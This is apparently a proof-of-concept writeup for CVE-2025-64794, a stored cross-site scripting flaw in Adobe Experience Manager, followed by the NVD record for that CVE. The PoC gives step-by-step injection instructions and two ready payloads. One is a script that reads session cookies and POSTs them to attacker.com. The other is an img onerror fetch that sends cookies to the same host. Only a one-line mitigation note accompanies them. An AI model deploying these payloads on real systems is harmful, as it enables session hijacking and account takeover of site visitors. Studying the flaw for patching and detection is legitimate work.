CVE-2025-64794

// CVE-2025-64794 PoC - Adobe Experience Manager Stored XSS // Author: Security Researcher // Target: Adobe Experience Manager 6.5.23 and earlier // Step 1: Identify vulnerable form field // Login to AEM with low-privileged account and navigate to form submission page // Step 2: Inject malicious JavaScript payload into form field const maliciousPayload = '<script>\n' + ' // Steal session cookies\n' + ' var cookies = document.cookie;\n' + ' var xhr = new XMLHttpRequest();\n' + ' xhr.open("POST", "https://attacker.com/collect", true);\n' + ' xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");\n' + ' xhr.send("data=" + encodeURIComponent(cookies));\n' + '</script>'; // Step 3: Submit the form with payload // The payload is stored in the database without proper sanitization // Step 4: When victim visits the page, script executes // Example of more sophisticated payload: const advancedPayload = '<img src=x onerror="fetch(\'https://attacker.com/api/v1/steal?c=\'+document.cookie).then(r=>r.text()).then(d=>console.log(d))">'; // Mitigation: Input validation and output encoding should be applied // HTML entity encoding for output: < becomes &lt;, > becomes &gt;, etc.

{"cve": {"id": "CVE-2025-64794", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:28.450", "lastModified": "2025-12-12T18:13:17.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}